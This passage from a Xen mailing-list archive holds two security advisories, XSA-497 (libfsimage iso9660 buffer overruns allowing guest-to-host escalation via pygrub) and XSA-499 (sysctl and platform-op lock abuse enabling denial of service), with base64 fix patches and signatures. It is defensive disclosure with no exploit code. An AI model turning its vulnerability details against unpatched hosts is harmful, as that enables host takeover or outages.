ZG9tYWluX2luaXRfc3RhdGVzKCkgY2FsbC4KClRoaXMgaXMgQ1ZFLTIwMjYt
NDI0OTIgLyBYU0EtNDk2LgoKRml4ZXM6IGY5NDM2MGE3ZmU5YiAoInhlbjog
YWRkIGJpdG1hcCB0byBpbmRpY2F0ZSBwZXItZG9tYWluIHN0YXRlIGNoYW5n
ZXMiKQpTaWduZWQtb2ZmLWJ5OiBHcnlnb3JpaSBTdHJhc2hrbyA8Z3J5Z29y
aWlfc3RyYXNoa29AZXBhbS5jb20+ClNpZ25lZC1vZmYtYnk6IEphbiBCZXVs
aWNoIDxqYmV1bGljaEBzdXNlLmNvbT4KUmV2aWV3ZWQtYnk6IEp1ZXJnZW4g
R3Jvc3MgPGpncm9zc0BzdXNlLmNvbT4KCi0tLSBhL3hlbi9jb21tb24vZXZl
bnRfY2hhbm5lbC5jCisrKyBiL3hlbi9jb21tb24vZXZlbnRfY2hhbm5lbC5j
CkBAIC01MjMsNyArNTIzLDggQEAgaW50IGV2dGNobl9iaW5kX3ZpcnEoZXZ0
Y2huX2JpbmRfdmlycV90CiAgICAgaWYgKCByYyA8IDAgKQogICAgIHsKICAg
ICAgICAgZ2RwcmludGsoWEVOTE9HX1dBUk5JTkcsICJFVlRDSE5PUCBmYWls
dXJlOiBlcnJvciAlZFxuIiwgcmMpOwotICAgICAgICBkb21haW5fZGVpbml0
X3N0YXRlcyhkKTsKKyAgICAgICAgaWYgKCB2aXJxID09IFZJUlFfRE9NX0VY
QyApCisgICAgICAgICAgICBkb21haW5fZGVpbml0X3N0YXRlcyhkKTsKICAg
ICAgICAgZ290byBvdXQ7CiAgICAgfQogCg==

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:05:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:05:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372466.1619862 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYR-000834-PZ; Tue, 28 Jul 2026 12:05:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372466.1619862; Tue, 28 Jul 2026 12:05:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYR-00081v-H4; Tue, 28 Jul 2026 12:05:03 +0000
Received: by outflank-mailman (input) for mailman id 1372466;
 Tue, 28 Jul 2026 12:05:02 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wogYP-000752-8s; Tue, 28 Jul 2026 12:05:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogYO-004OSi-Kv; Tue, 28 Jul 2026 14:05:00 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689ae7-5cb7-0a2a0a5109dd-0a2a450ad736-18
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:00 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689aeb-f2d2-0a2a450a0019-6882d725aa00-3
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:00 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYJ-00DP8U-1f;
 Tue, 28 Jul 2026 12:04:55 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYJ-003Ddz-0e;
 Tue, 28 Jul 2026 12:04:55 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 497 v2 (CVE-2026-42494,CVE-2026-42495,CVE-2026-62423,CVE-2026-62424,CVE-2026-62425)
 - buffer overruns in libfsimage iso9660 handling
Message-Id: <E1wogYJ-003Ddz-0e@xenbits.xenproject.org>
Date: Tue, 28 Jul 2026 12:04:55 +0000
X-purgate-ID: tlsNG-4011c0/1785240300-4BED2CFC-6E1EE151/0/0
X-purgate-type: clean
X-purgate-size: 13351

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

 Xen Security Advisory CVE-2026-42494,CVE-2026-42495,CVE-2026-62423,CVE-2026-62424,CVE-2026-62425 / XSA-497
                                                  version 2

            buffer overruns in libfsimage iso9660 handling

UPDATES IN VERSION 2
====================

Public release.

ISSUE DESCRIPTION
=================

The directory and Rock Ridge / SUSP walk in libfsimage's iso9660 driver
derives several lengths directly from attacker-controlled on-disk fields
without validating them:

 * The directory loop itself assumes a good record length.  This is
   CVE-2026-42494.

 * The calculation of the System Use area may underflow.  This is
   CVE-2026-42495.

 * The Rock Ridge extension loop assumes a good (inner) record length.
   This is CVE-2026-62423.

 * The Rock Ridge NM record processing assumes a good entry length.
   This is CVE-2026-62424.

 * The Rock Ridge CE record processing assumes a good size and offset.
   This is CVE-2026-62425.

IMPACT
======

A guest using pygrub can escalate its privilege to that of the domain
construction tools (i.e., normally, to control of the host).

If the mechanism introduced by XSA-443 (see the mitigation section below)
is in use, then the guest can only escalate to this limited context.

VULNERABLE SYSTEMS
==================

All Xen versions from at least 3.2 onwards are affected.  Older versions
have not been inspected.

MITIGATION
==========

XSA-443 added a mechanism to run pygrub de-privileged.  Using this mode
will mitigate the vulnerability.

Ensuring that guests do not use the pygrub bootloader will avoid this
vulnerability.

For cases where the PV guest is known to be 64bit, and uses grub2 as a
bootloader, pvgrub is a suitable alternative to pygrub.

Running only HVM or PVH guests will avoid the vulnerability.

CREDITS
=======

This issue was discovered by Syed Abdul Khaliq of BugQore.

RESOLUTION
==========

Applying the attached patch resolves this issue.

Note that patches for released versions are generally prepared to
apply to the stable branches, and may not apply cleanly to the most
recent release tarball.  Downstreams are encouraged to update to the
tip of the stable branch before applying these patches.

xsa497.patch           xen-unstable - Xen 4.17.x

$ sha256sum xsa497*
65925ac5a322b9eacc8538d6486e3e37ddcb83fe6f02f61c18216ccd2770f964  xsa497.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches and/or mitigations described above (or
others which are substantially similar) is permitted during the
embargo, even on public-facing systems with untrusted guest users and
administrators.

But: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpomq0MHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZyesH/0dz6MuK3DsILiWvYuGNuX//RcdpBlQtLmyQR382
vpoicCuEAJLJlZFZsPddIxjTxte77nbFs2Ih51br95J//ou6sX7q6V9wDGt4EHDK
pF4ECI8SCkHDszogIDGDFiSdi7V7VknGpLCjFtINaAcaRLMHx+MMcdMV80IZyoXw
8p2XY7xvaXyo90I1FiecN7yU0H49sYJswLvihJU55hDuBZ25HLe2K59UGs2uaVm2
J0QKIBi3k20kZ5p9diny+cjU81fVu8LwGPKjvK3KUoyNnFsNbsO5owrAq2w/FSbE
1K54Lj6FXk0w08c4S0kz4zLXKLhSeCl7hFvqUpmQAXaN7ew=
=0lw8
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa497.patch"
Content-Disposition: attachment; filename="xsa497.patch"
Content-Transfer-Encoding: base64

RnJvbTogU3llZCBBYmR1bCBLaGFsaXEgPGFiZHVsQGJ1Z3FvcmUuY29tPgpT
dWJqZWN0OiBsaWJmc2ltYWdlL2lzbzk2NjA6IGhhcmRlbiBSb2NrIFJpZGdl
IFNVU1AgcGFyc2luZyBhZ2FpbnN0IG1hbGZvcm1lZCBsZW5ndGhzCgpUaGUg
ZGlyZWN0b3J5IGFuZCBSb2NrIFJpZGdlIC8gU1VTUCB3YWxrIGluIGlzbzk2
NjBfZGlyKCkgZGVyaXZlcyBzZXZlcmFsCmxlbmd0aHMgZGlyZWN0bHkgZnJv
bSBhdHRhY2tlci1jb250cm9sbGVkIG9uLWRpc2sgZmllbGRzIHdpdGhvdXQg
dmFsaWRhdGluZwp0aGVtLiAgbGliZnNpbWFnZSBpcyB1c2VkIGJ5IHB5Z3J1
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zMsMTUgQEAgaXNvOTY2MF9kaXIgKGZzaV9maWxl
X3QgKmZmaSwgY2hhciAqZGlybgogCQkJICBtZW1jcHkoTkFNRV9CVUYsIG5h
bWUsIG5hbWVfbGVuKTsKIAkJCSAgbmFtZSA9IChjb25zdCBjaGFyICopTkFN
RV9CVUY7CiAJCQl9CisJCSAgICAgIC8qCisJCSAgICAgICAqIG9mZnNldCBh
bmQgc2l6ZSBhcmUgaW1hZ2UtY29udHJvbGxlZDsgdGhlIGxvYWRlZAorCQkg
ICAgICAgKiBjb250aW51YXRpb24gbGl2ZXMgaW4gYSBzaW5nbGUtc2VjdG9y
IGJ1ZmZlci4gIEJhaWwKKwkJICAgICAgICogb3V0IGlmIHRoZSByZWZlcmVu
Y2VkIHdpbmRvdyBkb2VzIG5vdCBmaXQgaW5zaWRlIGl0LgorCQkgICAgICAg
Ki8KKwkJICAgICAgaWYgKGNlX3B0ci0+dS5jZS5vZmZzZXQubCA+PSBJU09f
U0VDVE9SX1NJWkUKKwkJCSAgfHwgY2VfcHRyLT51LmNlLnNpemUubAorCQkJ
ICAgICA+IElTT19TRUNUT1JfU0laRSAtIGNlX3B0ci0+dS5jZS5vZmZzZXQu
bCkKKwkJCWJyZWFrOwogCQkgICAgICBycl9wdHIucHRyID0gKGNoYXIgKilS
UkNPTlRfQlVGICsgY2VfcHRyLT51LmNlLm9mZnNldC5sOwogCQkgICAgICBy
cl9sZW4gPSBjZV9wdHItPnUuY2Uuc2l6ZS5sOwogCQkgICAgICBpZiAoIWlz
bzk2NjBfZGV2cmVhZChmZmksIGNlX3B0ci0+dS5jZS5leHRlbnQubCwgMCwg
SVNPX1NFQ1RPUl9TSVpFLCAoY2hhciAqKVJSQ09OVF9CVUYpKQo=

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:05:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:05:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372471.1619909 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYa-0001Bq-Q1; Tue, 28 Jul 2026 12:05:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372471.1619909; Tue, 28 Jul 2026 12:05:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYa-0001Al-H0; Tue, 28 Jul 2026 12:05:12 +0000
Received: by outflank-mailman (input) for mailman id 1372471;
 Tue, 28 Jul 2026 12:05:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wogYY-0000xY-1Z; Tue, 28 Jul 2026 12:05:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogYX-004ZQt-ET; Tue, 28 Jul 2026 14:05:09 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689af0-e002-0a2a0a5209dd-0a2a450acd6e-44
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:09 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689af3-f2d2-0a2a450a0019-6882d725da5e-3
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:08 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYO-00DP8v-1q;
 Tue, 28 Jul 2026 12:05:00 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYO-003DhI-0o;
 Tue, 28 Jul 2026 12:05:00 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 499 v2 (CVE-2026-62426,CVE-2026-62427) -
 sysctl and platform-op locks open to abuse
Message-Id: <E1wogYO-003DhI-0o@xenbits.xenproject.org>
Date: Tue, 28 Jul 2026 12:05:00 +0000
X-purgate-ID: tlsNG-4011c0/1785240309-522C0F5C-33D38788/0/0
X-purgate-type: clean
X-purgate-size: 156181

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

     Xen Security Advisory CVE-2026-62426,CVE-2026-62427 / XSA-499
                               version 2

               sysctl and platform-op locks open to abuse

UPDATES IN VERSION 2
====================

Add further tags to patches.

Public release.

ISSUE DESCRIPTION
=================

To manage the system, sysctl and platform operations are used by the
control domain or a possible Xenstore domain.  Some of these operations
may not be executed in parallel, so a system-wide lock each is used.
The way those locks are acquired is, however, not providing any fairness.
Furthermore, with XSM/Flask in use, the lock acquire will, for some
operations, occur ahead of any permission checking.

The sysctl issue is CVE-2026-62426.

The platform-op issue is CVE-2026-62427.

IMPACT
======

A less privileged entity may stall an equally or more privileged entity,
potentially leading to a Denial od Service (DoS) of up to the entire
host.

VULNERABLE SYSTEMS
==================

All Xen versions from 4.0 onwards are vulnerable.  Earlier versions use
a different locking operation, but may also be vulnerable.

MITIGATION
==========

There is no known mitigation.

CREDITS
=======

This issue was discovered by Jan Beulich of SUSE.

RESOLUTION
==========

Applying the appropriate set of attached patches resolves this issue.

NOTE: The patches include an adjustment to the default Flask policy.  When
custom policies are in use, a respective change will need making there.

Note that patches for released versions are generally prepared to
apply to the stable branches, and may not apply cleanly to the most
recent release tarball.  Downstreams are encouraged to update to the
tip of the stable branch before applying these patches.

xsa499/xsa499-?.patch         xen-unstable - Xen 4.21.x
xsa499/xsa499-4.20-?.patch    Xen 4.20.x - Xen 4.19.x
xsa499/xsa499-4.18-?.patch    Xen 4.18.x
xsa499/xsa499-4.17-?.patch    Xen 4.17.x

$ sha256sum xsa499*/*
1b716186d37cb6be7b2917bc4801a5d431111f6a01f6e710e2899b6fbf91d747  xsa499/xsa499-1.patch
7789699993f993aa0f118437b9a18c2207cf29491fa08f21e029aa4293698d38  xsa499/xsa499-2.patch
4860a286a7161a407a7e7dc95ecb04a453847295ca73f91f3bd07c3e9e94b7fe  xsa499/xsa499-3.patch
fd59436b871caad09017da250996968797ada23223b1e76f9a2e80ae814d63ca  xsa499/xsa499-4.17-1.patch
9f83e4866fd20a3e45ecf40a80898446d243444fdf4c17eb695ff7f3d3e9f816  xsa499/xsa499-4.17-2.patch
e7e4fcb7502deb605a854ce451403237ea295394dc30f771001680cc3aaa8f9e  xsa499/xsa499-4.17-3.patch
3a979d5c59d690313ec9c3d82d8859dadd6d106296cbf6fe75ef9b42f2626bb5  xsa499/xsa499-4.17-4.patch
d2b3bcad9eb0d82f16befff35ef8fa0d8ed6d06b7e7e2c360003f1eee14d26b2  xsa499/xsa499-4.17-5.patch
ac1f4d1935dc7546c32e5b9c42ebd08d71ca232e559a7021e3ed685c0973675e  xsa499/xsa499-4.17-6.patch
143a9b46b3edf689e8b75fb87d1e15b0f0b96baf48547f6d77c00ba5e90ea5ac  xsa499/xsa499-4.17-7.patch
cd51ddc70ac765ef00a404d3a21c04a0e234ebca1904159820504e10f70e3812  xsa499/xsa499-4.18-1.patch
32f7827da6a6cdff848a1b620dd1a4d4861008f53d31050c6cde1d353794d22f  xsa499/xsa499-4.18-2.patch
3ed288dd99051ebb014cf1cd124d5ed0837935bb0d56963f54699a9e3a966c4e  xsa499/xsa499-4.18-3.patch
86fecda24801913f408f86db0b02d0017e870fa95e6edfe5d414343c89b29b37  xsa499/xsa499-4.18-4.patch
055c9114e0c1e789ee510dfb739bf8067a7acbdad6b6edaf2c0e7ed3daac2b81  xsa499/xsa499-4.18-5.patch
211b7410562f438e82266d3101beaef32d66c54b4681a370dd3e47abeec7c5c5  xsa499/xsa499-4.18-6.patch
a0849d860536a199ebeabb6199012d9eae70ee2ed41573765af50aec7b7e7f85  xsa499/xsa499-4.18-7.patch
48b96df5981193f182eda567ad65f1343718656a36ea1ef2d24bdc534ea4ead1  xsa499/xsa499-4.20-1.patch
3e9a315184f64d41011721b2f09275fcc6969d46be3c6f6b788b65fe78c1a0a8  xsa499/xsa499-4.20-2.patch
cf66937eecf0b8a559e60553c21de0e3767270df022c7098d7dd94a46c5ad176  xsa499/xsa499-4.20-3.patch
8932a1480b7431a0ebb048312dda49d5b7d06a5d2b57efb04df0b90bc81e95be  xsa499/xsa499-4.20-4.patch
6777a824bc0248f8e12a71f87b60a3209a7a74a08fe7e072d26f80095d188a01  xsa499/xsa499-4.20-5.patch
3ab8c66b133d2b942f7caad0251d427076ad2ef38bcbf6672a937c1406f098ac  xsa499/xsa499-4.20-6.patch
1254cc886eb62d65624bcc417701c119e02cc35d31f62e3dda1bda062e170446  xsa499/xsa499-4.20-7.patch
70c315beca0afa411c9e31117d8e0b22b36b5cd70e8d9d2243f5501167a2c631  xsa499/xsa499-4.patch
d0ff37c4807445bd5146057ddaed31d7ce5a0fe6abf413a04f4bceca8419baeb  xsa499/xsa499-5.patch
961d31a715ae2c8dd25b74243a6c759ce8c43409c4156ae6bbdcf3faac03f592  xsa499/xsa499-6.patch
60cb3b1e4beef97d633a0156feb0f4f10ac8d21c54152969f5b7a77ecc4a24d3  xsa499/xsa499-7.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches and/or mitigations described above (or
others which are substantially similar) is permitted during the
embargo, even on public-facing systems with untrusted guest users and
administrators.

But: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpomq8MHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZ9AcH/3XOTFbTvmwW48Q6nVkwvys5fiU2esrkFOTK96nn
p55QQoVVjebet7N+eRtezkjfHGCqphGOuHcAJ0uMlNNgUfhXNxxu6qaqMHX5h29P
DqQKZzOKuQM1frcyupJdhi8dbNxan1pXMv6rJAcWpmBoPEt9e+qwpnWtBX/HPH3b
66cQwLhmenlqwZak7E0bsLFw1A6WUXs1VS4xeiOE3Cj91F5hPUvqkZGI0pNbNAIn
6copsM0UAcTkwGrwIvKuN5b3BqFmaCWvGBfqsuNpj5MnJddigV68UeylMepFjoDH
Urn2qiOTcJKxdFt/AUX57AqiBF2MtDbi49RLLxsTCJvYvFM=
=R0It
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-1.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-1.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBwbGF0Zm9ybS1vcC9YU006IG1vdmUgcmVzb3VyY2Uteyx1bn1wbHVnLWNv
cmUgY2hlY2tzCgpJbnRlZ3JhdGUgdGhlIGNoZWNraW5nIHdpdGggZmxhc2tf
cGxhdGZvcm1fb3AoKTsgdGhlcmUgbmV2ZXIgcmVhbGx5IHdhcyBhCm5lZWQg
dG8gZGVmZXIgdGhlc2UgY2hlY2tzLCBhcyB0aGUgc3ViLW9wIGhhcyBhbHdh
eXMgYmVlbiBrbm93biB0byB0aGUKZnVuY3Rpb24uIEFzIGEgcG9zaXRpdmUg
c2lkZSBlZmZlY3QsIHBlcm1pc3Npb25zIGFyZSB0aGVuIGNoZWNrZWQgYXQg
dGhlCnNhbWUgZWFybHkgcG9pbnQgd2l0aCBhbmQgd2l0aG91dCBGbGFzay4K
ClRoaXMgaXMgQ1ZFLTIwMjYtNjI0MjcgLyBwYXJ0IG9mIFhTQS00OTkuCgpT
aWduZWQtb2ZmLWJ5OiBKYW4gQmV1bGljaCA8amJldWxpY2hAc3VzZS5jb20+
ClJldmlld2VkLWJ5OiBSb2dlciBQYXUgTW9ubsOpIDxyb2dlci5wYXVAY2l0
cml4LmNvbT4KUmV2aWV3ZWQtYnk6IEFuZHJldyBDb29wZXIgPGFuZHJldy5j
b29wZXIzQGNpdHJpeC5jb20+CkFja2VkLUJ5OiBEYW5pZWwgUC4gU21pdGgg
PGRwc21pdGhAYXBlcnR1c3NvbHV0aW9ucy5jb20+CgotLS0gYS94ZW4vYXJj
aC94ODYvcGxhdGZvcm1faHlwZXJjYWxsLmMKKysrIGIveGVuL2FyY2gveDg2
L3BsYXRmb3JtX2h5cGVyY2FsbC5jCkBAIC03MzUsMTAgKzczNSw2IEBAIHJl
dF90IGRvX3BsYXRmb3JtX29wKAogICAgIHsKICAgICAgICAgaW50IGNwdSA9
IG9wLT51LmNwdV9vbC5jcHVpZDsKIAotICAgICAgICByZXQgPSB4c21fcmVz
b3VyY2VfcGx1Z19jb3JlKFhTTV9IT09LKTsKLSAgICAgICAgaWYgKCByZXQg
KQotICAgICAgICAgICAgYnJlYWs7Ci0KICAgICAgICAgaWYgKCBjcHUgPj0g
bnJfY3B1X2lkcyB8fCAhY3B1X3ByZXNlbnQoY3B1KSB8fAogICAgICAgICAg
ICAgIGNsb2Nrc291cmNlX2lzX3RzYygpICkKICAgICAgICAgewpAQCAtNzYx
LDEwICs3NTcsNiBAQCByZXRfdCBkb19wbGF0Zm9ybV9vcCgKICAgICB7CiAg
ICAgICAgIGludCBjcHUgPSBvcC0+dS5jcHVfb2wuY3B1aWQ7CiAKLSAgICAg
ICAgcmV0ID0geHNtX3Jlc291cmNlX3VucGx1Z19jb3JlKFhTTV9IT09LKTsK
LSAgICAgICAgaWYgKCByZXQgKQotICAgICAgICAgICAgYnJlYWs7Ci0KICAg
ICAgICAgaWYgKCBjcHUgPT0gMCApCiAgICAgICAgIHsKICAgICAgICAgICAg
IHJldCA9IC1FT1BOT1RTVVBQOwpAQCAtNzg5LDIwICs3ODEsMTIgQEAgcmV0
X3QgZG9fcGxhdGZvcm1fb3AoCiAgICAgfQogCiAgICAgY2FzZSBYRU5QRl9j
cHVfaG90YWRkOgotICAgICAgICByZXQgPSB4c21fcmVzb3VyY2VfcGx1Z19j
b3JlKFhTTV9IT09LKTsKLSAgICAgICAgaWYgKCByZXQgKQotICAgICAgICAg
ICAgYnJlYWs7Ci0KICAgICAgICAgcmV0ID0gY3B1X2FkZChvcC0+dS5jcHVf
YWRkLmFwaWNfaWQsCiAgICAgICAgICAgICAgICAgICAgICAgb3AtPnUuY3B1
X2FkZC5hY3BpX2lkLAogICAgICAgICAgICAgICAgICAgICAgIG9wLT51LmNw
dV9hZ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pZmRlZiBDT05GSUdfU1lTQ1RMCiBzdGF0aWMgaW50IGZsYXNr
X3Jlc291cmNlX3VzZV9jb3JlKHZvaWQpCkBAIC0xNTM2LDEyICsxNTM4LDEz
IEBAIHN0YXRpYyBpbnQgY2ZfY2hlY2sgZmxhc2tfcGxhdGZvcm1fb3AodWkK
ICAgICBzd2l0Y2ggKCBvcCApCiAgICAgewogI2lmZGVmIENPTkZJR19YODYK
LSAgICAvKiBUaGVzZSBvcGVyYXRpb25zIGhhdmUgdGhlaXIgb3duIFhTTSBo
b29rcyAqLwogICAgIGNhc2UgWEVOUEZfY3B1X29ubGluZToKLSAgICBjYXNl
IFhFTlBGX2NwdV9vZmZsaW5lOgogICAgIGNhc2UgWEVOUEZfY3B1X2hvdGFk
ZDoKICAgICBjYXNlIFhFTlBGX21lbV9ob3RhZGQ6Ci0gICAgICAgIHJldHVy
biAwOworICAgICAgICByZXR1cm4gZmxhc2tfcmVzb3VyY2VfcGx1Z19jb3Jl
KCk7CisKKyAgICBjYXNlIFhFTlBGX2NwdV9vZmZsaW5lOgorICAgICAgICBy
ZXR1cm4gZmxhc2tfcmVzb3VyY2VfdW5wbHVnX2NvcmUoKTsKICNlbmRpZgog
CiAgICAgY2FzZSBYRU5QRl9zZXR0aW1lMzI6Cg==

--=separator
Content-Type: application/octet-stream; name="xsa499/xsa499-2.patch"
Content-Disposition: attachment; filename="xsa499/xsa499-2.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBzeXNjdGwvWFNNOiBwYXNzIGZ1bGwgc3RydWN0IHhlbl9zeXNjdGwgdG8g
eHNtX3N5c2N0bCgpCgpTdWJzZXF1ZW50bHkgc29tZSBzdWItb3BzIHdpbGwg
d2FudCB0byBpbnNwZWN0IHRoZWlyIHN1Yi1zdWItb3BzLgoKVGhpcyBpcyBw
YXJ0IG9mIENWRS0yMDI2LTYyNDI2IC8gWFNBLTQ5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4c21fb3BzLnN5c2N0bCwgb3ApOwogfQogCiBzdGF0aWMg
aW5saW5lIGludCB4c21fcmVhZGNvbnNvbGUoeHNtX2RlZmF1bHRfdCBkZWYs
IHVpbnQzMl90IGNsZWFyKQotLS0gYS94ZW4veHNtL2ZsYXNrL2hvb2tzLmMK
KysrIGIveGVuL3hzbS9mbGFzay9ob29rcy5jCkBAIC04NzIsOSArODcyLDkg
QEAgc3RhdGljIGludCBjZl9jaGVjayBmbGFza19kb21jdGwoc3RydWN0CiB9
CiAKICNpZmRlZiBDT05GSUdfU1lTQ1RMCi1zdGF0aWMgaW50IGNmX2NoZWNr
IGZsYXNrX3N5c2N0bChpbnQgY21kKQorc3RhdGljIGludCBjZl9jaGVjayBm
bGFza19zeXNjdGwoY29uc3Qgc3RydWN0IHhlbl9zeXNjdGwgKm9wKQogewot
ICAgIHN3aXRjaCAoIGNtZCApCisgICAgc3dpdGNoICggb3AtPmNtZCApCiAg
ICAgewogICAgIC8qIFRoZXNlIGhhdmUgaW5kaXZpZHVhbCBYU00gaG9va3Mg
Ki8KICAgICBjYXNlIFhFTl9TWVNDVExfcmVhZGNvbnNvbGU6CkBAIC05NDIs
NyArOTQyLDcgQEAgc3RhdGljIGludCBjZl9jaGVjayBmbGFza19zeXNjdGwo
